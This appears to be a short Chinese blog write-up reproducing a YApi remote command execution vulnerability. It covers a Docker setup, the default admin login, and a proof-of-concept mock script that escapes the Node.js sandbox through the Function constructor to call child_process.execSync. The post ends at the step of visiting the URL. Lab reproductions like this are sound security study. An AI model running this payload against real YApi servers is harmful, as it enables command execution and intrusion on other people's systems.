Yapi远程命令执行漏洞复现

前面环境搭建。遇到了一些坑。最终换到Docker 

最终还是Docker 真香

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

mkdir -p /home/data/yapi/mongodata

docker run --restart always -v /home/data/yapi/mongodata:/data/db -d --name yapimongo mongo

docker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server


docker run -d  --restart=always --name yapi  --link yapimongo:mongo --workdir /api/vendors  -p 3001:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js

启动成功之后。访问IP:3001

初始化管理员账号成功,账号名：”admin@admin.com”，密码：”ymfe.org”

登录进去之后新建项目

然后选择设置全局的mock脚本，设置命令

POC:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

然后访问URL